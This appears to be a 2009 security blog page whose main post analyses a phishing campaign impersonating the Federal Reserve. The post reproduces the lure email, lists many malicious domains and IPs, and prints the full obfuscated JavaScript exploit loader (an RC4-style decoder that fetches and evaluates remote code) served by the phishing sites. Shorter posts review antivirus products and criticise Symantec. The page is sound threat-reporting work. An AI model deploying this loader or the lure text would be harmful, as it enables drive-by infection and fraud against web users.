Blog for hpHosts, and whatever else I feel like writing about ....

Tuesday, 12 May 2009

Federal Reserve goes LuckySploit

I've received several e-mails today, claiming to be from the Federal Reserve - funny considering I'm not in the US. Usually I just forward them to PhishTank and the appropriate authorities/hosting co's, and file it away. This one however, got me interested because I noticed a relation - remember this?.

The story referred to at the ISC, references an issue with a multitude of sites hosted by LunarPages, being hacked and containing exploits (the sites at LunarPages are still carrying the exploits btw). This time they obviously decided to go via e-mail and use their own sites instead.

The e-mail itself, contains the following content;

FEDERAL RESERVE BANK

Important:

You're getting this letter in connection with new directions issued by U.S. Treasury Department. The directions concern U.S. Federal Wire online payments.

A country-wide phishing attack began on May 6, 2009. It's taking place hitherto. Therefore a great number of banks and credit unions is affected by this attack and quantity of illegal wire transfers has reached an extremely high level.

U.S. Treasury Department, Federal Reserve and Federal Deposit Insurance Corporation (FDIC) in common worked out a complex of immediate actions for the highest possible reduction of fraudulent operations. We regret to inform you that definite restrictions will be applied to all Federal Wire transfers from May 12 till May 25.

Here you can get more detailed information regarding the affected banks and U.S. Treasury Department restrictions:

hxxp://usbanks.esecure-federal.us/35634/FRB/phishing/Issue~73891/

Federal Reserve Bank System Administration


The only difference between the 3 e-mails I've received, are the "from" addresses (all faked of course), the subject lines, and the domains they point to - all of which are on the same IP, 221.5.74.34 (netname: UNICOM-GD). The subjects I've seen thus far are;

Attention - Important Customer Notification
Important: Federal Reserve Bank!
Corporate Cusomers - Please read carefully

The e-mail headers for the e-mails, indicate the following as the origins;

94.222.248.23 (dslb-094-222-248-023.pools.arcor-ip.net)
88.249.38.101 (dsl88-249-9829.ttnet.net.tr)
201.240.92.239 (client-201.240.92.239.speedy.net.pe)

I did some research when I first received the e-mail, on the domain itself, and found a plethora of domains, all of which are being used for the same purposes and all of which are on the same IP, 221.5.74.34;

esecure-federal.com
esecure-federal.net
esecure-federal.us
federalbanks.us
federalbanksystem.com
federalbanksystem.net
federalbanksystem.us
federalreserve-direct.com
federalreserve-direct.us
federalreserve-online.com
federalreserve-online.us
fedwire.usatreasury-direct.net
fedwire.usatreasury-direct.us
frb-direct.net
frb-secure.net
mail.federalreserve-direct.us
mail.frb-direct.net
mail.frb-secure.net
mail.usatreasury-direct.net
ns1.esecure-federal.com
ns1.esecure-federal.net
ns1.esecure-federal.us
ns1.federalbanks.us
ns1.federalbanksystem.com
ns1.federalbanksystem.net
ns1.federalbanksystem.us
ns1.federalreservebanks-online.us
ns1.federalreserve-direct.com
ns1.federalreserve-direct.net
ns1.federalreserve-direct.us
ns1.federalreservenet.us
ns1.federalreserve-online.com
ns1.federalreserve-online.net
ns1.federalreserve-online.us
ns1.fedreservebanks.com
ns1.fedreservebanks.net
ns1.fedreservebanks.us
ns1.frb-direct.net
ns1.frb-direct.us
ns1.frb-secure.com
ns1.frb-secure.net
ns1.treasurydept.us
ns1.usatreasury-direct.com
ns1.usatreasury-direct.net
ns1.usatreasury-direct.us
ns2.esecure-federal.com
ns2.esecure-federal.net
ns2.esecure-federal.us
ns2.federalbanks.us
ns2.federalbanksystem.com
ns2.federalbanksystem.net
ns2.federalbanksystem.us
ns2.federalreservebanks-online.us
ns2.federalreserve-direct.com
ns2.federalreserve-direct.net
ns2.federalreserve-direct.us
ns2.federalreservenet.us
ns2.federalreserve-online.com
ns2.federalreserve-online.net
ns2.federalreserve-online.us
ns2.fedreservebanks.com
ns2.fedreservebanks.net
ns2.fedreservebanks.us
ns2.frb-direct.net
ns2.frb-direct.us
ns2.frb-secure.com
ns2.frb-secure.net
ns2.treasurydept.us
ns2.usatreasury-direct.com
ns2.usatreasury-direct.net
ns2.usatreasury-direct.us
usatreasury-direct.net
usatreasury-direct.us
usbanks.esecure-federal.net
usbanks.esecure-federal.us
ustreasury.federalbanks.us
ustreasury.federalbanksystem.com
ustreasury.federalbanksystem.net
ustreasury.federalbanksystem.us
ustreasurydept.frb-direct.net
ustreasurydept.frb-direct.us
wire.esecure-federal.com
wire.federalreserve-direct.com
wire.federalreserve-online.us
wire.frb-secure.net
www.esecure-federal.com
www.esecure-federal.net
www.esecure-federal.us
www.federalbanks.us
www.federalbanksystem.com
www.federalbanksystem.net
www.federalbanksystem.us
www.federalreserve-direct.com
www.federalreserve-direct.us
www.federalreserve-online.com
www.federalreserve-online.us
www.frb-direct.net
www.frb-secure.net
www.usatreasury-direct.net
www.usatreasury-direct.us

The domains they are associated with are clarafin.info, dns2.zief.pl and monkey-squad.net - all of which are involved in malicious activity.

The "Federal" domains, all load an iFrame to another file in the same server, which contains;

ibat=1738;
dira='t';
illo="dB";
adicit=24;
numen='odeAt';
uirque="0.7";
parvae="app";
speque='s';
audis="l";
morent='b';
puella='B';
ocelo='Vi';
amarem="u";
licuit=16;
saepta=33;
pandar='@';
ducum='p';
curiis='eques';
vicina="2";
vestit="9.02e2";
ibamus='roso';
uocata="";
tantus='.';
patres='u';
regie=31;
viva='gl';
utro=435;
ordine=488;
mento='i';
mouent=8473;
bundy=8423;
aperte='j';
hiemis='UN';
tatius="s";
montem="i";
pareas=6;
ceraue='ames';
nimbos=757;
muso="o";
uertes='View';
pandit='H';
luetis="setA";
sens="4.53e2";
anzus="doc";
jungle='U';
rumpat='2';
obicat='w';
rabida=61;
rupto='c';
avos=6041;
euroo='d';
pebble=4723;
oreque='n';
boree=4;
dolori='y';
nixque='[U';
wattle='o';
libo=2;
budge='.781';
tangit='';
sickie='9';
sono='le';
needle="a";
achate='X';
intexo=6089;
metiri="0.9";
soluti="0.77";
egomet='D';
belli='24';
cynthi=81;
securo="r";
laetae=505;
parmam='cu';
ullas=9;
revoco="tri";
nuptum='5711';
vetor='T';
certae='48';
cque='g';
census="Te";
vagor=8;
canus="37";
velem="d";
obero='e';
edant='W';
cessas='l';
longa=0;
operta='5584';
mint='P';
osque='ine';
teneto='h';
cupant="5.09e2";
ineant='Da';
veho='.8';
esky='6.';
capant=7880;
ortam='do';
lituo='f';
medius='ntW';
abeas='+/';
aperti="t";
credis=(soluti<=.325?2.213e3:''+'A'+puella+'C'+egomet+'E'+'F'+tangit);
pool=(0.5624,'r'+'ing'+tangit);
function alteri(crust)
{
vera=new crust()
}
function infert(myrtum,whip)
{
for(lippie=0;lippie<myrtum;lippie++)whip[lippie]=lippie
}
function pergit(iram,clavum)
{
for(lippie=0;lippie<iram;lippie++)
{
amorem=(amorem+vera[lippie]+clavum[oblata](lippie%clavum[dirty]))%iram;
talis=vera[lippie];
vera[lippie]=vera[amorem];
vera[amorem]=talis
}
}
function labet(lernae,dunny)
{
lippie=(lippie+1)%dunny;
amorem=(amorem+vera[lippie])%dunny;
watson();
vera[amorem]=talis;
stygio(lernae)
}
function watson(bail)
{
talis=vera[lippie];
vera[lippie]=vera[amorem]
}
function stygio(virgam)
{
adnare+=amittoeei[desunt](virgam[oblata](fervet)^vera[(vera[lippie]+vera[amorem])%256])
}
function larry(lernae)
{
for(fervet=0;fervet<lernae[dirty];fervet++)
{
labet(lernae,256)
}
}
function imitat(iussos)
{
lippie=iussos;
amorem=iussos
}
uicus=('.1'>=1?954:bolam);
ashes=(1.6e1,'a');
(8.<=871?uicus:2.)((licuit,this));
slim=(3495.,edocet);
credis+=(6,'G'+'HI'+'J'+'K'+'L'+'M'+'NO'+'');
snit=(6586>.8?araque:5.);
uelato=("6."<7.3e2?marti:31.);
sacrum=(6,amem);
gingiie=(.7<='7.8e3'?snit:8);
adhuc=(27.,uelato)[(7.77e2,uocata+"d"+"o"+"c"+"u"+"m"+"e"+"n"+"t"+uocata)];
desunt=(9218,''+'f'+'r'+'o'+tangit)+(pareas,'m'+'C')+(0.5<='4262'?''+'h'+'a'+'r'+tangit:4)+(6.865e3>=vagor?'C':0.4e1)+(0.61,'o'+euroo+'e'+tangit);
dirty=(6.2e1,sono)+(.41,'ng')+('684'>60?''+'t'+'h'+tangit:ibat);
amittoeei=(cupant>42.?adhuc:.807)[(.6951,'defa'+'ultV'+'iew'+tangit)][(6.,tangit+obicat+'i'+oreque+euroo+'o'+'w'+tangit)][(0.104,'S')+(3.51e2,tangit+dira+'')+(0.45<'274'?pool:.6471)];
credis+=(1e0<='1003.'?'P'+'QRST'+jungle:2e0)+(99.,tangit+'V'+edant+'X'+'Y'+'Z'+tangit);
itabo=(8e0,'ray');
phoebe=(.88,tangit+'a'+'t'+'h'+tangit);
tenebo=(72.,sacrum);
dentum=(6.7e1,tangit+'u'+oreque+'c'+tangit)+(9.61e2>="7"?dira+'i'+wattle+'n':3.);
banjo=(7.2e1,adhuc);
credis+=(63.,''+'ab'+'cde'+tangit)+(397.,tangit+'f'+cque+'h'+'i'+aperte+'k'+'l'+'m'+tangit);
fibro=('974'<=0.722?.9:'e');
vitem=(7962.>5.6e1?banjo:0.47e2);
timens=("0.8"<=373?tangis:4e0);
mori=(".9">6.8e1?161:tangit+'v'+'a'+tangit);
credis+=(355,''+'n'+wattle+ducum+'q'+'r'+speque+'t'+'u'+'')+("0.4"<=863?tangit+'vwxyz01234':0.2)+(bundy,''+'5'+'6'+'78'+sickie+abeas+'='+tangit);
oblata=(53.,tangit+rupto+teneto+tangit)+(1.,'ar'+'C'+tangit)+(8.64e2,''+numen);
if((7.992e3,credis)[(5.1e1,fibro)+(64.,mori)+(7.,'l')])
{
credis=("2666"<=.4031?7e0:tangit);
vitem=(9e0<="3346"?credis:7e0)
}
aequat=(nimbos,tangit+wattle+'r'+'a'+'g'+'e'+tangit);
lucem=(2.22e2,viva);
nimbus=(799>="134"?tangit+'o'+morent+'a'+tangit:889.);
sports=(8>=0.186?vitem:1563);
function tangis(pindan,verum,fovet,arcent)
{
(2e0,alteri)((0.841e3<'3.8e1'?.5:styxeez));
(4.,infert)((5008<6571?256:boree),(0.3451<=".6669"?vera:719.));
(5,imitat)((5e0<='415'?longa:0.4619));
(4e0,pergit)((ullas,256),(825.>=861?.72:pindan));
(7.,imitat)((9.,longa));
adnare=(0.8186<=.1?8e0:tangit);
(1.858e3>=esky?larry:7e0)((3,verum));
return (2.856e3,adnare)
}
fulmeniie=(3.7e1>belli?sports:27);
function amem(pascua,saltus,iubet,mall)
{
var caeso;
uates=(1e0<=125?molem:8.308e3)((7,''+'x'),(intexo,tangit+'r'+'e'+'t'+'u'+'r'+oreque+' '+dira+dolori+tangit)+(7.8e1>=vestit?6427:'peo')+(0.2107,tangit+lituo+'('+'x'+')'+tangit));
nescio=(veho>8.356e3?6e0:molem)(("160"<=2.6e1?3.3e1:'r'+'et'+'urn'+' ne'+'w '+'X'+tangit)+(0.9,'MLH')+(5.7e1,'ttpR')+(9e0>=77?1.47e2:curiis+'t()'));
spell=(9.4e1>=8.4e1?molem:96)((.3947,''+'r'+'e'+'t'+'u'+'r'+'n'+' '+'X'+tangit)+("2867." if(!(5.807e3,caeso)&&((5.35e2<=1?9.8e1:uates)((6745>2e0?spell:8.1e1)()))!=(18,'un'+'def'+osque+'d'))
{
caeso=(4.522e3,nescio)()
}
return (62.,caeso)
}
gimlet=('696'<=7.?1.:fulmeniie)[(2.93e2,'defa'+patres+'lt'+ocelo+'ew'+tangit)][(4.9e1>="1.5e1"?''+speque+'e'+'l'+'f'+tangit:8730)][(.83,tangit+obicat+mento+oreque+euroo+'o'+obicat+'')][(9.29e2>5.235e3?254.:'self'+tangit)][(21,tangit+'do'+parmam+'m'+'en'+'t')][(7582,tangit+euroo+obero+lituo+'a'+'u'+'l'+'t'+'V'+mento+obero+obicat+tangit)][(76<='.5627'?212.:tangit+'F'+tangit)+(8.394e3,dentum)];
usuum=(5<3052.?fulmeniie:287.)[(783>=.55?tangit+euroo+obero+lituo+'a'+'u'+cessas+dira+'V'+'i'+'e'+'w'+'':511.)][(.21>=0.86?.3:speque+'el'+'f')][(92<36?ullas:tangit+'w'+'i'+oreque+euroo+wattle+obicat+'')][(5e0>'37.'?libo:lucem)+(.19>=5823.?4691:nimbus)+(9.2e1,'lSt')+(0.6<=12.?aequat:7977)];
ramumuuz=(9711,fulmeniie)[(licuit,tangit+euroo+obero+lituo+'au'+'l'+dira+ocelo+'e'+obicat)][(0.58>2.32e2?3.9e1:'self'+tangit)][(52<"8."?pareas:tangit+'M'+tangit)+(9e0<1.55e2?phoebe:5)];
styxeez=(.9,fulmeniie)[('0.9e1'<=0.7?6172:'default'+uertes)][(1.16e2<1.5e1?3.:tangit+obicat+'in'+ortam+obicat+tangit)][(0.188<"80"?tangit+'A'+'':1.2e1)+(2.4e2>uirque?''+'r'+'':43.)+(654,itabo)];
poscitjie=new (.3,styxeez)();
molem=(378.<=.4761?57.:gimlet);
unco=(88.<"3.8e1"?5:ashes)+(.946<=66?gingiie:.2)((8654.,credis),(9.42e2<="4e0"?.5:30));
lataettr=(.64>"4639"?5.7e1:meos);
lenis=(18.,molem)((996,tangit+'r'+obero+dira+'')+(0.8165,''+'u'+'r'+oreque+' '+tangit)+(97.,tangit+'tenebo()'));
opinoreea=(3.37e2,molem)((".62"<=227?'x':5),(cynthi>.1150?dolori:.17),(123,'ret')+(2682.<='742'?6e0:'ur'+'n ')+('.72'<=8861?'t'+'imens(x,'+'y)':27.));
audeatqqa=(1.39e2,molem)((4134.,'x'),(6>1930?ordine:tangit+'r'+obero+'t'+tangit)+(.5881,'urn ')+(36,''+speque+'y'+'r'+dira+mento+'s'+'('+'x'+')'+tangit));
uritis=(110<'500'?tangit+wattle+'nr'+obero:3.)+(saepta<"6.1e1"?'a'+'d'+dolori+'st'+tangit:6e0)+(66.,'atec')+(6.678e3>="6073."?tangit+teneto+'a'+oreque+cque+obero+tangit:3e0);
(3.81e2<=670?audeatqqa:0.47)((libo,unco));
function syrtis(tractu,excepi,foedas,ventus)
{
var datis=(64<'8222'?lenis:9117)();
(0.313,datis)[(1e0,"op"+"en"+uocata)]((12.>=5e0?'GET':27.),(7e0,'?')+(2,lataettr)((28.,opinoreea)((4e0>=4.26e2?797:'ruinam'+'yyo'),("641.">=3.97e2?tractu:581))),(71,true));
(1.4e1,datis)[(991,uritis)]=function()
{
if((.68<'6.2e1'?datis:5)[(0.2,""+securo+"e"+"a"+velem+"y"+"S"+aperti+"a"+aperti+"e"+uocata)]==(651<sens?8e0:boree)&&(9154.,datis)[("18"<=saepta?""+"s"+aperti+"a"+"t"+amarem+tatius+"":mouent)]==(150.<79?.6952:200))
{
("3.13e2">6.155e3?6.536e3:molem)((canus>3.?opinoreea:4288)((935<=".58"?55:tractu),(33.<='8'?boree:slim)((.350,datis)[(7>870?.5099:securo+"e"+tatius+"p"+"on"+"se"+census+"xt"+"")])))()
}
};
(2074>=3.623e3?4e0:datis)[(vicina>7.?9609:"sen"+"d")]((ullas,0))
}
function remus(pindan,ratty,sueba,mater)
{
var audiat=ramumuuz["floor"](ramumuuz["random"]()*pindan[dirty]);
volvet+=pindan["substring"](audiat,audiat+1)
}
function miner(verum,pindan,volvet,tenus)
{
for(lippie=0;lippie<verum;lippie++)
{
remus(pindan,lippie,verum,volvet);
}
}
function araque(pindan,verum,tenus,serua)
{
volvet='';
miner(verum,pindan,volvet,tenus);
return volvet
}
function meos(nervis,obvius,peius,tullo)
{
var sciat=(34,tangit);
var adnare;
var lippie;
var scies=(0.8<=.909?longa:9739);
var labori=(0.870,1);
lippie=(7920.,0);
for(adnare=0;lippie<nervis[dirty];lippie++,adnare++)
{
scies=scies*256+nervis[oblata](lippie);
labori=labori*4;
sciat=sciat+credis["charAt"](parseInt(scies/labori));
scies=scies%labori;
if(labori==64)
{
sciat=sciat+credis["charAt"](parseInt(scies));
scies=0;
labori=1;
adnare++
}
if(adnare>=75)
{
adnare=-1;
sciat=sciat+'\n'
}
}
if((.620,lippie)%(.1322,3))
{
sciat=sciat+credis["charAt"](parseInt(scies*((lippie%3==1)?16:4)));
sciat=sciat+((lippie%3)==1?'==':amittoeei[desunt](61))
}
return (1,sciat)
}
function edocet(nervis,fire,hortum,metae)
{
var sciat=(2e0,tangit);
var lippie;
var scies=("7e0">=61?6567.:longa);
var labori=(.265,1);
for(lippie=0;lippie<nervis[dirty];lippie++)
{
if(nervis["charAt"](lippie)==amittoeei[desunt](61)||nervis["charAt"](lippie)=='\n')break;
scies=scies*64+credis["indexOf"](nervis["charAt"](lippie));
labori=(labori==1?64:labori/4);
if(labori!=64)
{
sciat=sciat+amittoeei[desunt](parseInt(scies/labori));
scies=scies%labori
}
}
return ('0.77'<821?sciat:8.)
}
function bolam(aether,locos,stupet,exeant)
{
this[("436."<.866?7.5e1:uocata+"m"+needle+securo+aperti+montem+uocata)]=(5581>=.6?aether:3.73e2);
if((816,aether)[(3e0<=523?uocata+"p"+needle+securo+"e"+"n"+aperti+uocata:3914.)]==(4.,aether))
{
intus=(5e0,'a'+'')
}
else
{
ashes+=(".921">=regie?6e1:pandar)
}
}


Sadly, detection for it at VT is non-existent;

http://www.virustotal.com/analisis/70f92d8286afa3ca23a770f7ed7f99af

And Wepawet couldn't seem to work with it either.

http://wepawet.cs.ucsb.edu/view.php?hash=b2fe358d386b59d84e6fcdefdd66f17b&type=js

At the time of writing, I've got Malzilla trying to decode it, but it's taking it's time (been running over 10 mins pinching CPU usage of around 80%). If it ever finishes, I'll post the results.

/edit 13-05-2009 01:51

3 more e-mails received in the last 15 mins, and seems they've got a new domain, wire.federalreserve-online.us (also added to the list above), same IP as the rest though. The sender of the latest 3 are also new, 201.16.204.161 (201-016-204-161.dynamic.idial.com.br)

a-squared Anti-Malware 4.5 released!

a-squared Anti-Malware 4.5 released!

We've made a lot of improvements since the initial 4.0 release that we want to bundle in a new 4.5 release now.

What's new in a-squared Anti-Malware 4.5?


We have significantly improved the surf protection usability. Users told us that there are too many annoying popups, but the alerted hosts are really suspicious. So we extended the popup box with 3 more small buttons. The first one allows you to block a specific host permanently with one click. No need to go manually to the settings anymore and add a new block rule for a host. Others told us that a-squared has blocked a host that they need (e.g. specific advertising redirect hosts). That's why we have added another button to permanently allow a specific host with one click. The third button allows you to access the surf protection settings quickly. Additionally, the small host blocker popups that hide after 20 seconds got a transparend fade out that indicates that it will hide automatically. When you move your mouse over the half transparend window, it switches to no transparency until you move out of the window again.


a-squared Anti-Malware 4.5 has got some additional false alert filter layers. Signed files from trusted software vendors are no longer alerted by the behavior blocker (Malware-IDS). Combined with the community based alert reduction and whitelists, a-squared Anti-Malware is extremely silent compared with previous versions. But real malware is still detected on a very high quality level.


Windows Security Center integration. Windows XP and Vista now recognize a-squared Anti-Malware as a full antivirus software.


Fine tuning & bugfixes: In general we've made tons of little improvements and fixes. Just to mention a few examples of bugs that some users reported in the past: Scanner stops and crashes have been fixed, script files and others are scanned on execution now, etc.


Read more and download!
http://forum.emsisoft.com/default.aspx?g=posts&t=5226

Monday, 11 May 2009

Symantec charges $99 to remove WinPatrol "virus" (aka Symantec rips off customer)

Just when you thought Symantec couldn't get any worse - we see this. A Symantec rep by the name of "Rahul", decided that WinPatrol's helping to remove malware from the users system, was enough to consider WinPatrol itself, as a virus, and duly removed it for the customer - charging $99 for the privilege.

Recent behaviour by Symantec, such as partnering with a known malware vendor (ask.com), and yet another one of Symantec's "reps" claiming they could not provide additional security without incorporating the Ask crapware, has shown not only that their reps are in dire need of either firing or re-training, but that Symantec themselves are now so focused on the all mighty dollar, that they really don't care about ethics or indeed, their customers security anymore.

This latest issue with WinPatrol is absolutely beyond belief, and as Bill himself says, is completely unacceptable behaviour for an alledged security company (not even McAfee are this bad - and they've got one of the worst AV's available).

Read more on this over at Bills blog;

http://billpstudios.blogspot.com/2009/05/symantec-support-says-winpatrol-is.html

And if you're a Symantec customer, I'd strongly urge you to ditch them as soon as possible, and switch to a more ethical vendor.



References

Symantec's "KhanhT" talking bollocks
http://hphosts.blogspot.com/2009/02/symantecs-khanht-talking-bollocks.html

Symantec - we knew they weren't trustworthy, but this is a new low
http://hphosts.blogspot.com/2009/03/symantec-we-knew-they-werent.html

Symantec Support Gone Rogue?
http://tech.slashdot.org/article.pl?sid=09/03/07/0137226&from=rss

Symantec, what are you doing?
http://securitygarden.blogspot.com/2009/02/symantec-what-are-you-doing.html

Wednesday, 6 May 2009

Follow The Bouncing Malware: Gone With the WINS

They do. But don't try it. Really. This means you. Yes you. Don't look at me like that. You know that you're just sitting there, fighting the urge to go try it-- acting all nonchalant, like you don't care. It's slowly eating away at you. We both know that you're trying to think of something... anything else... just to keep your mind off of wanting to rip the nearest USB cable out its jack so you can go check to see if I'm telling you the truth. But I am. I am. Would I lie to you?


It Happened One Night

At this point in most of the other FTBM postings, I would-- in a rare display of lucidity--take a moment to step aside from my normally disjointed prose to warn you, my dear reader, of the perils of embarking on any attempt to "play around" with the malicious code we're about to examine. Having discovered, over these many years, that none of you actually pay one damn bit of attention to what I say, I've decided to say "t'hell with it..." Have fun! Launch the malware! Run with scissors! Play with matches! Swim right after eating! Don't wear clean underwear, you'll never be in an accident! Your mother was WRONG!


Read the full article
http://isc.sans.org/diary.html?storyid=6349

Archives

For those that have not yet read the FTBM series, below are links to each edition.

FTBM - Part I - http://isc.sans.org/diary.php?date=2004-07-23
FTBM - Part II - http://isc.sans.org/diary.php?date=2004-08-23
FTBM - Part III - http://isc.sans.org/diary.php?date=2004-11-04
FTBM - Part IV - http://isc.sans.org/diary.php?date=2004-11-24
FTBM - Part V - http://isc.sans.org/diary.php?date=2005-05-11
FTBM - Part VI - http://isc.sans.org/diary.php?date=2005-07-13
FTBM - Part VII - http://isc.sans.org/diary.php?date=2005-07-20
FTBM - Part VIII - http://isc.sans.org/diary.php?date=2005-08-22
FTBM - Part IX - http://isc.sans.org/diary.php?date=2005-09-21
FTBM - Part IX - http://isc.sans.org/diary.html?storyid=2682
FTBM - Part XI - http://isc.sans.org/diary.html?storyid=6349

Tom's website
http://www.intelguardians.com

The Tom Liston Fanclub
http://mysteryfcm.co.uk/?mode=News&date=22-07-2005

NOD32 ESS: 2 months on ....

I was graciously given a licence at the beginning of March in order to review the latest release, and thought I'd give an update on how it is doing.

Although it's got several major good points, such as being very low on resource usage, and popping up to notify me when an application changes (top left), it does have one or two niggles that are frustrating.

First and foremost, if you are using Outlook and have rules configured - be prepared to have them messed with. For example, I've got several rules configured to auto-filter certain phishing scams, so they're auto-forwarded to PhishTank. Sadly, whilst the e-mails are certainly still forwarded - NOD32 has decided it best not to leave them in the folder I told the rule to put them into, but is instead, moving them to the Junk and/or Inbox folder - very annoying (especially given the amount I receive).

The second issue is also with Outlook and at this point, it's a little confusing to say the least. When opening an e-mail, Outlook quite rightly marks it as read. However, I'm frequently seeing these e-mails revert back to unread status - something it never used to do before NOD32 was installed.

The third and final Outlook related issue, is with the speed in which e-mails are sent, downloaded and opened - unfortunately this speed has been greatly reduced, with 1MB of e-mails frequently taking upto and over 10 mins to download, whereas it was usually done within seconds.

These issues however, whilst annoying, are minor. One thing that I'd like to see (and it could be that there is an option, but if there is - I've not found it, and I've spent a considerable amount of time looking), is the ability to stop NOD32 adding it's tagline to every single e-mail.

One of the features I do like most, is it's quarantine dialog. When I am researching malware or malicious sites, and NOD flags it, it automatically stops the connection and/or quarantines the file for me. One rather annoying niggle with this feature, is that it doesn't have an option to ask me what I want to do with it prior to it's taking action (and again, I've been through the options and if it is there, I've not found it). I'd personally like to see NOD ask me what I want to do with the file and/or connection (in the case of malicious websites), and perhaps a little checkbox so I can tell it not to ask me again.



One bug I have found, is it's firewall log viewer. Unless your log is on the small side, you are going to find yourself looking at a "Loading firewall log" dialog, not a bug in itself, but it's cancel button does not seem to work (if I click cancel, it does indeed go away - but sporadically (not always) comes back again as soon as I try doing anything else, such as switching to a different part of the program).

Without a doubt, one of it's best features, besides the rescue CD creation, is the SysInspector, that allows you to create snapshots of the system state. Sadly, something they forgot to do, is prevent you accidentally starting the process twice (just done that myself whilst writing this, as it didn't start creating it the first time, so thought I'd clicked cancel instead). You also cannot cancel one of them whilst they're generating the snapshot - something I'd like to see added.



Bear in mind, your system WILL slow to a crawl whilst it's generating the snapshot, so make sure you're not in the middle of something when you create one (only took around 15 mins on this system (500Mhz, 320MB Ram), not exactly a long time.




One thing this could do with, is a simple "before - current" view, as the current options simply aren't intuitive enough. They need to provide a view here, much like most comparison programs do. An additional option would be advantageous, to have it filter so you can see what was added, and when - and only show that information (would greatly reduce the time required for analysis).

Other than the afformentioned however, the SysInspector provides an extensive amount of information on the systems state, so is definately a welcome addition to the program.

Sadly, one area it is failing in, is detections. Although I've not done a detailed test to date, I do research and analyse malware quite frequently, and sadly, whilst NOD does flag some of it - it misses the majority of it (some aren't detected by anyone, so this is to be expected, but some of it has quite good detections according to VirusTotal). Detailed testing and analysis would be required before detection capability could be properly and responsibly reported - something I'm planning to do in future.

All in all, Eset Smart Security 4, is proving to be an invaluable product, and a major improvement over it's previous incarnations. If detections are drastically improved, this could very well be the best of the best.

Please do bear in mind, that the information provided are my own findings. I am not reviewing NOD32 under the usual test lab conditions, but instead have it on my development "every day" machine (figured it best to test it under real world "every day" conditions). I do not consider myself an expert, so this should not be taken as an expert review.

References

Eset Smart Security 4: A first look
http://hphosts.blogspot.com/2009/03/eset-smart-security-4-first-look.html